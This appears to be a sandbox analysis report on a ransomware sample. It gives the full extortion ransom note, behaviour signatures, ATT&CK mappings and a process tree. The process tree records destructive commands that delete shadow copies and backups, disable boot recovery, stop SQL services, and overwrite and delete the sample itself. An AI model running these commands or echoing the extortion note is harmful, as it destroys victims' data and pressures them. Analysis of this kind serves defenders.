Overview

overview

10

Static

static

3

k2ufvrj.exe

windows10-2004-x64

10

k2ufvrj.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/09/2026, 20:14

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    k2ufvrj.exe
  • Size 1.3MB
  • Sample260924-yz43ysvxfz
  • SHA256 84758bd05b0176a3863c213af33e4241afd386628ce34ba033ea510826af016f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionevasionexecutionimpactpersistenceransomware

Malware Config

Extracted

Path

  • C:\Users\Admin\CONTACT US.txt

Ransom Note
  • Do not panic; everything is going to be just fine. Just read carefully -- WHAT HAPPENED? <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Your network has been compromised by Fiasco. All files are encrypted using a military-grade AES encryption algorithm. A large amount of your sensitive data was exfiltrated. We usually download: - Personal data: CVs, DL, SSN, PII, NDA contracts, etc. - Financial information: documents, payrolls, bank statements, bills, transfers, budgets, annual reports, etc. - Customer data: contracts, PII, contacts, purchase agreements, etc. - Confidential: source code, trade secrets, technology, blueprints, documents, etc. - Work files, databases, legal documents, corporate correspondence. - Accounting data. - Audit reports. -- WHAT DO WE OFFER <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< If you want all your files back just the way they were And if You want to prevent your sensetive data ending up in the wrong hands, you need to contact us. Here's how: Download and install Session Private Messenger app from this url: https://getsession.org/download Make an account and send a message to this account id: 05e892bbd91a3812070997206ec5a92067006edf20bfa048dde4821c834264e008 Introduce youself using your unique Public Key. This is your Public Key: g1ds7 We use it to identify the unique key that was used to encrypt all your files. Use it to identify yourself. Wait for our reply and be patient. Do as we further instruct you. --- WHAT IF I DON'T CO-OPERATE? <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< We have the most powerful data leak site on the Internet. There are a lot of journalists, researchers and other hackers and criminals that would be interested in using your data for free. An incomplete list of risks you are facing in case of faluire to co-operate ( besides permanently losing all your files. ): - Fraud - Identity theft - Loss of customer trust and loyalty. - Damage to the company's reputation. - Legal consequences and compliance fines. - Financial losses and costs associated with data recovery. - Impact on competitive advantage and market share. - Breach of data privacy regulations and laws. - Disruption of business operations. - Reduced employee morale and productivity. - Potential for intellectual property theft. - Loss of trade secrets and proprietary information. -- KEEP IN MIND <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - No matter what the AI or the authorities say about this, there is only one way to get your files and that is through us. - You WILL get your files back. - Once you got your files, you will never hear from us or about this incident again. - Do not try to decrypt using third-party software. You will damage the files. - Do not report to the authorities. They don't care about you or your business.. - Do not hire a recovery company. They can't decrypt without the key and we made sure any other kind of recovery is impossible. - Do not hire a middleman. Speak for yourself. - Do Co-operate. -- WE HAVE DONE THIS COUNTLESS TIMES <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - Do as we told you and there will be no FIASCO. - This situation can be fixed very smoothly as long as you do as instructed.
URLs

  • https://getsession.org/download

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (157) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Deletes system backups 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Deletes itself 1 TTPs 1 IoCs
    defense_evasion
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 17 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 48 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\k2ufvrj.exe
    "C:\Users\Admin\AppData\Local\Temp\k2ufvrj.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3976
    • C:\Windows\system32\cmd.exe
      "cmd" /C "sc stop SQLWriter"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\system32\sc.exe
        sc stop SQLWriter
        3⤵
        • Launches sc.exe
        PID:2000
    • C:\Windows\system32\cmd.exe
      "cmd" /C "vssadmin.exe delete shadows /all /quiet"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4888
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:448
    • C:\Windows\system32\cmd.exe
      "cmd" /C "wbadmin delete catalog -quiet"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1724
      • C:\Windows\system32\wbadmin.exe
        wbadmin delete catalog -quiet
        3⤵
        • Deletes backup catalog
        PID:4440
    • C:\Windows\system32\cmd.exe
      "cmd" /C "bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4664
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3268
    • C:\Windows\system32\cmd.exe
      "cmd" /C "wbadmin.exe delete systemstatebackup -keepVersion:3"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\system32\wbadmin.exe
        wbadmin.exe delete systemstatebackup -keepVersion:3
        3⤵
        • Deletes System State backups
        PID:4460
    • C:\Windows\system32\cmd.exe
      "cmd" /C "sc stop MSSQLSERVER"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3060
      • C:\Windows\system32\sc.exe
        sc stop MSSQLSERVER
        3⤵
        • Launches sc.exe
        PID:3964
    • C:\Windows\system32\cmd.exe
      "cmd" /C "sc stop SQLBrowser"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1076
      • C:\Windows\system32\sc.exe
        sc stop SQLBrowser
        3⤵
        • Launches sc.exe
        PID:3716
    • C:\Windows\system32\cmd.exe
      "cmd" /C "bcdedit.exe /set {default} recoveryenabled No"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2416
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3784
    • C:\Windows\system32\cmd.exe
      "cmd" /C "net stop SQLWriter /y"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:532
      • C:\Windows\system32\net.exe
        net stop SQLWriter /y
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4592
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop SQLWriter /y
          4⤵
            PID:2332
      • C:\Windows\system32\cmd.exe
        "cmd" /C "net stop SQLSERVERAGENT /y"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5032
        • C:\Windows\system32\net.exe
          net stop SQLSERVERAGENT /y
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2044
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop SQLSERVERAGENT /y
            4⤵
              PID:3672
        • C:\Windows\system32\cmd.exe
          "cmd" /C "wbadmin.exe delete systemstatebackup"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4568
          • C:\Windows\system32\wbadmin.exe
            wbadmin.exe delete systemstatebackup
            3⤵
            • Deletes System State backups
            PID:3396
        • C:\Windows\system32\cmd.exe
          "cmd" /C "wmic.exe shadowcopy delete"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4864
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic.exe shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4560
        • C:\Windows\system32\cmd.exe
          "cmd" /C "sc stop SQLSERVERAGENT"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1204
          • C:\Windows\system32\sc.exe
            sc stop SQLSERVERAGENT
            3⤵
            • Launches sc.exe
            PID:1220
        • C:\Windows\system32\cmd.exe
          "cmd" /C "wbadmin delete backup -all -quiet"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1100
          • C:\Windows\system32\wbadmin.exe
            wbadmin delete backup -all -quiet
            3⤵
            • Deletes system backups
            • Drops file in Windows directory
            PID:3280
        • C:\Windows\system32\cmd.exe
          "cmd" /C "net stop MSSQLSERVER /y"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3308
          • C:\Windows\system32\net.exe
            net stop MSSQLSERVER /y
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1104
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop MSSQLSERVER /y
              4⤵
                PID:5000
          • C:\Windows\system32\cmd.exe
            "cmd" /C "wbadmin.exe delete catalog-quiet"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1036
            • C:\Windows\system32\wbadmin.exe
              wbadmin.exe delete catalog-quiet
              3⤵
                PID:1952
            • C:\Windows\system32\cmd.exe
              "cmd" /C "net stop SQLBrowser /y"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2612
              • C:\Windows\system32\net.exe
                net stop SQLBrowser /y
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:560
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop SQLBrowser /y
                  4⤵
                    PID:4448
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -NoProfile -Command "Start-Sleep -Seconds 2; $path = \"C:\Users\Admin\AppData\Local\Temp\k2ufvrj.exe\"; $size = (Get-Item $path).Length; $bytes = New-Object byte[] $size; (New-Object Random).NextBytes($bytes); Set-Content -Path $path -Value $bytes -Encoding Byte; Remove-Item -Path $path -Force"
                2⤵
                • Deletes itself
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4272
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4564
            • C:\Windows\system32\wbengine.exe
              "C:\Windows\system32\wbengine.exe"
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3996
            • C:\Windows\System32\vdsldr.exe
              C:\Windows\System32\vdsldr.exe -Embedding
              1⤵
                PID:3400
              • C:\Windows\System32\vds.exe
                C:\Windows\System32\vds.exe
                1⤵
                • Checks SCSI registry key(s)
                PID:1568
              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:988
              • C:\Windows\explorer.exe
                explorer.exe
                1⤵
                • Boot or Logon Autostart Execution: Active Setup
                • Enumerates connected drives
                • Checks SCSI registry key(s)
                • Modifies registry class
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of SetWindowsHookEx
                PID:2320
              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                1⤵
                • Suspicious use of SetWindowsHookEx
                PID:4032
              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:4688

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    5
                    T1059

                    PowerShell

                    1
                    T1059.001

                    Windows Command Shell

                    1
                    T1059.003

                    System Services

                    1
                    T1569

                    Service Execution

                    1
                    T1569.002

                    Windows Management Instrumentation

                    1
                    T1047

                    Persistence

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Active Setup

                    1
                    T1547.014

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Active Setup

                    1
                    T1547.014

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Defense Evasion

                    Direct Volume Access

                    1
                    T1006

                    Impair Defenses

                    1
                    T1562

                    Indicator Removal

                    7
                    T1070

                    File Deletion

                    7
                    T1070.004

                    Modify Registry

                    1
                    T1112

                    Credential Access

                    Discovery

                    Peripheral Device Discovery

                    2
                    T1120

                    Query Registry

                    3
                    T1012

                    System Information Discovery

                    2
                    T1082

                    Lateral Movement

                    Collection

                    Command and Control

                    Exfiltration

                    Impact

                    Inhibit System Recovery

                    6
                    T1490

                    Service Stop

                    1
                    T1489

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    ADDFIND.JTX.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\ADDFIND.JTX.SECURE
                    • Size 463KB
                    • SHA256 0ee55976fdfcb576c63b7d9d763609d3ad93753774fe6c11aad623f0abeeae1a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    APPROVECOMPRESS.DIB.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\APPROVECOMPRESS.DIB.SECURE
                    • Size 666KB
                    • SHA256 25dfab25614b6cf66b0814941416c8d52209b27c6d8213c8c2f8570242f389e1
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    COMPAREUPDATE.XLSX.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\COMPAREUPDATE.XLSX.SECURE
                    • Size 11KB
                    • SHA256 de3326d1577f70614c55e7219d5f6e21058cc6ae8b8bfcff1e1c0f6a84cf07d9
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    CONFIRMOUT.M2T.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\CONFIRMOUT.M2T.SECURE
                    • Size 317KB
                    • SHA256 be83be05af709e5bf23c31a5911e1a58693538131fe2a3ba2ff5f2f6d2fb4a2f
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    HIDEDENY.XLSX.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\HIDEDENY.XLSX.SECURE
                    • Size 14KB
                    • SHA256 639616d50f5774b30df69ad54b84cad677ffb3d715396e3982c757bf2a5ae597
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    INSTALLEXIT.MP2V.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\INSTALLEXIT.MP2V.SECURE
                    • Size 170KB
                    • SHA256 f904a0ad716729f6524c63dc8e065e146ab3ecad917c858c4f3a919a9a4d403d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    LIMITMERGE.INF.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\LIMITMERGE.INF.SECURE
                    • Size 382KB
                    • SHA256 61744dac96cef23a9c0ec8ee62b165d94d0efce1ff8e34dfb329ced3609b67aa
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    MEASUREPUBLISH.EDRWX.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\MEASUREPUBLISH.EDRWX.SECURE
                    • Size 235KB
                    • SHA256 10aab90e25c7ea68638f423590b08f7300b4cb898d5a0630c443c8b667232f87
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    PROTECTREMOVE.AU3.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\PROTECTREMOVE.AU3.SECURE
                    • Size 414KB
                    • SHA256 40121c8406cd9fb5fc36bd72b1e1f5e32578f81ec72168483206cbc0448a62d4
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    READAPPROVE.MHTML.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\READAPPROVE.MHTML.SECURE
                    • Size 333KB
                    • SHA256 b87cd8c3ecd903167a82e0919d7db67250950f17ff132f23b8efc27d9cfd0a89
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    REGISTERRESOLVE.SEARCH-MS.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\REGISTERRESOLVE.SEARCH-MS.SECURE
                    • Size 349KB
                    • SHA256 2d8add2fda7ad47aeb0b2ec58e413b6750bcc7c8cee6fb1b5fb166313a7d4dbc
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    RESIZEDISABLE.GIF.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\RESIZEDISABLE.GIF.SECURE
                    • Size 398KB
                    • SHA256 7d769acb362279545806802802961a56b3f6ee81d7a484a0582ea03325e7ce93
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    REVOKEUNREGISTER.RTF.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\REVOKEUNREGISTER.RTF.SECURE
                    • Size 219KB
                    • SHA256 aac106275aa389317ba8897411b4679594c01c58e9335b7f265fcae251022d96
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    SAVESWITCH.XLSX.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\SAVESWITCH.XLSX.SECURE
                    • Size 11KB
                    • SHA256 9e90e73368bfbd8c72910459039787ae104b34ef7e188205f0a4c87d5f2c24e2
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    SELECTFIND.MP4V.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\SELECTFIND.MP4V.SECURE
                    • Size 479KB
                    • SHA256 b62052a040e6ac9dddea4ddcaa10a794db5d102cda21b0e473ff42286c573840
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    SETNEW.AIF.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\SETNEW.AIF.SECURE
                    • Size 268KB
                    • SHA256 a07fb6bdcf9b54962018caf2259e3fbbcc98f1c8587f0fed9506d2d0329263f3
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    SHOWEXIT.DOCX.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\SHOWEXIT.DOCX.SECURE
                    • Size 17KB
                    • SHA256 e6fbc6f14e4e6de1ef6f63e673cb35922ab127267786b4a34c84875f184ec2bf
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    SUBMITWRITE.EX_.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\SUBMITWRITE.EX_.SECURE
                    • Size 430KB
                    • SHA256 5ebf34a583360a47660250a197b1ed42ad7c86bc8acc3ab4e03321a881940935
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    SWITCHSTART.RAR.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\SWITCHSTART.RAR.SECURE
                    • Size 300KB
                    • SHA256 248897dba32bb2b9ed876d0d561caddbd4084e0eba4c2f2d82477f5634ea1f5b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    TRACEHIDE.SQL.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\TRACEHIDE.SQL.SECURE
                    • Size 203KB
                    • SHA256 5d114f0409e5cee1e5d69dd2aca6012d98b7c6584b918c87f7ab2208aa9b8ab5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    UNBLOCKCONFIRM.VSDM.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\UNBLOCKCONFIRM.VSDM.SECURE
                    • Size 447KB
                    • SHA256 981295d3dee626670cc3e5fd7a4790752f2df27ffe07e1e2a4bac40b20c913a6
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    UNLOCKSUBMIT.INI.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\UNLOCKSUBMIT.INI.SECURE
                    • Size 365KB
                    • SHA256 e26e2c25fb70984cb07ae06548a5abd2a9a73ba6f732d2b28f79c6b7518c01b3
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    UNPROTECTGET.XLSM.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\UNPROTECTGET.XLSM.SECURE
                    • Size 252KB
                    • SHA256 b9e81afb67abce7e6e49f27fe73e533b1bf9795d258076dc3e7954b950ad9207
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    UPDATEGROUP.PS1XML.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\UPDATEGROUP.PS1XML.SECURE
                    • Size 187KB
                    • SHA256 fd9222aa965790119361309dd408dcf3c9e3e1493762ffa7fa9420a3036c596f
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    fbaf94e759052658216786bfbabcdced1b67a5c2.tbres
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres
                    • Size 2KB
                    • SHA256 62cbcc7179650ead4a40729aa12e9f35a17dd0b285d06c596bdf0677f3c18d12
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    0.0.filtertrie.intermediate.txt
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{0909a87d-9e8e-4d51-b505-5be1bfe85e34}\0.0.filtertrie.intermediate.txt
                    • Size 29KB
                    • SHA256 4d16b9654cd872d287dc00c54ee29a62cd32ff04a56ed75d02b48b22958c3be1
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    0.1.filtertrie.intermediate.txt
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{0909a87d-9e8e-4d51-b505-5be1bfe85e34}\0.1.filtertrie.intermediate.txt
                    • Size 5B
                    • SHA256 8e1e6a3d56796a245d0c7b0849548932fee803bbdb03f6e289495830e017f14c
                    • MD5 SHA1 SHA512
                    Submit Download

                    0.2.filtertrie.intermediate.txt
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{0909a87d-9e8e-4d51-b505-5be1bfe85e34}\0.2.filtertrie.intermediate.txt
                    • Size 5B
                    • SHA256 d65b6a3bf11a27a1ced1f7e98082246e40cf01289fd47fe4a5ed46c221f2f73f
                    • MD5 SHA1 SHA512
                    Submit Download

                    Apps.ft
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{0909a87d-9e8e-4d51-b505-5be1bfe85e34}\Apps.ft
                    • Size 39KB
                    • SHA256 e8733784c457596a69caa3f5c29def32a97a7802762c88da2ab7bc2b660a6ada
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    Apps.index
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{0909a87d-9e8e-4d51-b505-5be1bfe85e34}\Apps.index
                    • Size 1.0MB
                    • SHA256 2cfb473e855387f96793c80ddb37f4665be3dbbd4e225832c7b982a4c5a6e3d5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    AppCache134347544937803893.txt
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134347544937803893.txt
                    • Size 72KB
                    • SHA256 05380daf3c125f597b0b28234b8ace98b3bd68117409b1a4b996a809da8121c5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    AppCache134347544973498530.txt
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134347544973498530.txt
                    • Size 75KB
                    • SHA256 9cecf50618e98383ee37a7dc27a8bb2cc654ce2b7e3a786b805e3620f9275d1b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    microsoft.windows[1].xml
                    • Path C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\5IOFEKC1\microsoft.windows[1].xml
                    • Size 97B
                    • SHA256 ddfe9eaeeb2223aeb285e912b717118bf75e92b35bfb5b8a38a28b7d80d79ed7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    __PSScriptPolicyTest_tchpgwps.zx3.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tchpgwps.zx3.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    CONTACT US.txt
                    • Path C:\Users\Admin\CONTACT US.txt
                    • Size 3KB
                    • SHA256 851a43859b13f389e1979b9f488487ea104876db271c9ca8f9aefa251c74c723
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    memory/988-1535-0x000001D8719B0000-0x000001D8719D0000-memory.dmp
                    Download

                    memory/988-1521-0x000001D06FE00000-0x000001D06FF00000-memory.dmp
                    Download

                    memory/988-1526-0x000001D871C00000-0x000001D871C20000-memory.dmp
                    Download

                    memory/988-1547-0x000001D8721E0000-0x000001D872200000-memory.dmp
                    Download

                    memory/2320-1734-0x0000000004A30000-0x0000000004A31000-memory.dmp
                    Download

                    memory/4272-1663-0x00000208A19A0000-0x00000208A19C2000-memory.dmp
                    Download

                    memory/4688-1753-0x0000022C20D50000-0x0000022C20D70000-memory.dmp
                    Download

                    memory/4688-1767-0x0000022C21360000-0x0000022C21380000-memory.dmp
                    Download

                    memory/4688-1735-0x0000022C1FE40000-0x0000022C1FF40000-memory.dmp
                    Download

                    memory/4688-1740-0x0000022C20D90000-0x0000022C20DB0000-memory.dmp
                    Download